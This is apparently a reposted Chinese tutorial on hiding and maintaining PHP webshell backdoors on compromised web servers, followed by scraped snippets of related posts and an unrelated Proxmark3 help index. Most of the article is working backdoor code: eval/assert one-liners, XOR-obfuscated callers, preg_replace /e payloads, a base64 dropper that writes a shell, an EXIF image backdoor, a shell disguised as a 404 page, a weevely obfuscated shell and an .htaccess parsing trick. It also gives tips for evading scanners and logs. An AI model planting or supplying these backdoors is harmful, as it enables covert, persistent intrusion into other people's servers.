PHP后门隐藏与维持技巧

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。

AD:

0×00前言

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

以PHP-WEBBACKDOOR为例,抛砖引玉

一个最常见的一句话后门可能写作这样

  1. <?php @eval($_POST[‘cmd‘]);?>

或这样

  1. <?php @assert($_POST[‘cmd‘]);?>

当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

但是运维直观寻找我们shell的方式也有很多,如

◆通过文件名/修改时间/大小,文件备份比对发现异常

◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等

◆通过Access.log访问日志发现后门所在

◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

针对常见的检测方式,总结以下七常用手法对shell进行隐藏

0×01规避

看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

常见的关键词如:

◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用

  1. <?php
  2. @$_++; // $_ = 1
  3. $__=("#"^"|"); // $__ = _
  4. $__.=("."^"~"); // _P
  5. $__.=("/"^"`"); // _PO
  6. $__.=("|"^"/"); // _POS
  7. $__.=("{"^"/"); // _POST
  8. ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
  9. ?>

构造生成,当然,嫌太直观可以写作这样

  1. <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

0×02特性

借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

eg.:

  1. ${@eval(phpinfo())}

{}可解析双引号内的变量内容,@保持出错后继续执行

然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

  1. <?php @preg_replace("//e",$_POST[‘cmd‘],"");?>

这玩法显然已经进了扫描器黑名单,简单修改下

  1. <?php
  2. function funfunc($str){}
  3. echo preg_replace("/<title>(.+?)<\/title>/ies", ‘funfunc("\1")‘, $_POST["cmd"]);
  4. ?>

执行了,没有被发现

执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行

  1. funfunc("{${phpinfo()}}")

另一种方法

  1. <?php @assert("\$arr=\"".$_GET[‘cmd‘]."\";");?>

0×03包含

文件包含是众人都玩过的方法,只是包含也有技巧

普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现

看此脚本

  1. <?php
  2. if(@isset($_GET[content]))
  3. {
  4. $fp=fopen(‘README‘,‘w‘);
  5. file_put_contents(‘README‘,"<?php\r\n");
  6. @file_put_contents(‘README‘,$_GET[content],FILE_APPEND);
  7. fclose($fp);
  8. require ‘README‘;}
  9. ?>

算是解决了一点问题,需求的shell可随用随生成,进而包含之

可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现

编码生成的方式创建shell,随访问而生成.

  1. <?php @fputs(fopen(base64_decode(‘cGx1Z2luX20ucGhw‘),w),base64_decode(‘PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg==‘));
  2. ?>

可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.

当然对于启发式之类的新概念就不考虑了

在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片

  1. <?php $exif=exif_read_data(‘./lol.jpg‘);preg_replace($exif[‘Make‘],$exif[‘Model‘],‘‘);?>

参考:一种隐藏在JPG图片EXIF中的后门

这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行

此处可能会提示 Call to undefined function exif_read_data()

需要修改php.ini, extension=php_exif.dll

将其加载顺序改为extension=php_mbstring.dll的后面

可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒

当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…

0×04隐匿

为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚

  1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  2. <html><head>
  3. <title>404 Not Found</title>
  4. </head>
  5. <body>
  6. <h1>Not Found</h1>
  7. <p>The requested URL was not found on this server.</p>
  8. </body>
  9. </html>
  10. <?php
  11. @preg_replace("/[checksql]/e",$_POST[‘cmd‘],"saft");
  12. ?>

借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了

但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

  1. <?php
  2. header(‘HTTP/1.1 404‘);
  3. ob_start();
  4. @fputs(fopen(base64_decode(‘cGx1Z2luX20ucGhw‘),w),base64_decode(‘PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg==‘));
  5. ob_end_clean();
  6. ?>

访问之,是真正的404,没错,日志中也是这样

但此刻当前目录已生成我们要连接的脚本

0×05混淆

用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

  1. <?php
  2. $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
  3. $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
  4. $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
  5. $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
  6. $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
  7. $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
  8. $jgfi = $ftdf("l","","lclrlelaltel_functlilon");
  9. $rdwm = $jgfi(‘‘, $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
  10. ?>

终端下连接后像这样

Ps:截图忘记修改终端编码了:(

其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程

当然,这是在代码层面混淆视听以躲过扫描器

更常用的混淆视听的方法:

◆修改文件时间

◆改名融入上传后所在文件夹,让人无法直观看出文件异常

◆文件大小的伪装处理(至少看起大小像个正常脚本)

◆选好藏身路径并尽量少的访问

◆畸形目录%20

关于空格目录,还是相对容易被发现的

0×06解析

利用.htaccess,添加解析后门

如:

  1. AddType   application/x-httpd-php     .jpg

以上以weeverly为例

0×07杂糅

总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场 合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教.

时间: 2024-11-08 20:32:44

PHP后门隐藏与维持技巧的相关文章

后门隐藏与维持技巧

运维直观寻找我们shell的方式有很多,如 通过文件名/修改时间/大小,文件备份比对发生异常 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecher/shelldetect.php以及各种扫描器等等 通过Access.log访问日志发现后门所在 又或者,我们的测试的一句话还要被WAF拦一下,再来个警告日志,等等 方法: 404页面隐藏后门 (访问404) 变形的一句话 包含(文件.图片.错误日志) 混淆(代码层面)(修改文件时间.文件大小的伪装处置等等) 原文地址

php后门隐藏技巧

一句话 and 大马 phpspy  菜刀一句话<[email protected]($_POST['cmd']);?> 反射后门 <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?> 调用如x.php?m=system&c=whoami后门也可绕过某些检测禁用system函数的防护系统 php:input php://input是用来接收

教你Xshell中隐藏的小技巧

终端模拟器,一听就是技术宅男们使用的软件,不去看都可以想象那冰冷的色调,机械的敲打,偏偏有个软件不走寻常路,体贴暖心到爆表,本集就为大家细数它xshell的贴心之举. 1. 快速复制内容到记事本 将xshell中的内容复制记事本中,很多人都是复制,打开记事本,粘贴:超麻烦有没有,其实xshell中设置了快速复制的功能,选中需要复制的内容,右键鼠标,然后选择“记事本”,右侧会弹出三个选项:选定区域,全部,当前屏幕:三种选项对应的复制内容如下: 1)全部:就是复制全部的内容 2)选定区域:就是直接复

在CSS中隐藏文字的技巧

通常偏移掉字体的方式是: (1)使用{text-indent:-9999px}; 可是他有一个局限性 他只适用于块级元素block而我们往往有时候想偏移掉的a上的字体所以问题就来了text-indent:-9999px;虽然用起来比较惬意将a转化 成block的话 往往 他身后的的元素就被他赶到下一行了如果正好这个a后面 是一个a按钮就要用float来浮动以使他身后再出现簇拥者这样是不是有些麻烦呢 (2){line-height:0;font-size:0;overflow:hidden;} 能

php一句话后门过狗姿势万千之后门构造与隐藏【二】

第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础:第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路:第三部分主要分享后门隐藏之道. 声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀! 目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被

PHP一句话后门过狗姿势万千之后门构造与隐藏

第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础:第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路:第三部分主要分享后门隐藏之道. 声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀! 目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被

研究人员发现绝大部分酷派(Coolpad)手机暗藏后门(转)

隐私问题被曝光得越来越多,随着物联网的发展,只会变得越来越严重,不过从当前看来 ,国人对隐私的重视度还远没有国外,期待加强对隐私的保护策略.   转自:http://www.freebuf.com/news/54486.html 网络安全公司Palo Alto披露,酷派安卓设备上存在搜集用户隐私数据的恶意后门程序.酷派是国内知名手机制造商(你常常会在办宽带.话费套餐送手机时遇到它),产品远销国外.研究人员认为,酷派公司在生产设备时故意在其产品中设置了后门. 绝大部分酷派手机存在后门 在移动安卓系

原来微信还可以这样玩?这些小技巧你都知道吗?

大多数的用户在使用微信的时候,最常用到聊天.语音.视频通话和朋友圈,但是对于微信一些隐藏的小技巧却是一无所知.其实微信不单单是一款社交软件,它还隐藏着众多你不知道的小功能.下面一起来看看吧! 待办事项 在微信中,我们可以记录待办事项,也可以在微信首页进行置顶,具体操作方法为:打开微信,进入收藏模块--点击左上角添加按钮--进入输入框--在输入框内输入任意想要待办的内容后,点击最右下角的按钮,即可添加待办事项--点击右上角省略号按钮,将笔记置顶即可. 日程提醒 朋友微信邀请你周末出去逛街担心忘记怎

Proxmark3命令帮助

Proxmark3命令帮助 目录 [隐藏] 1 使用技巧 2 help 主帮助命令(基于r830以及以下版本) 3 hw 硬件检测相关命令 4 data 图形窗口/缓冲区数据操作等命令 5 lf 低频相关命令 5.1 lf em4x (EM4X卡类相关命令...) 5.2 lf hid (HID卡类相关命令...) 5.3 lf ti (TI卡类相关命令...) 5.4 lf hitag (Hitag标签与应答相关…) 6 hf 高频相关命令 6.1 hf 14a (ISO14443A卡的相关命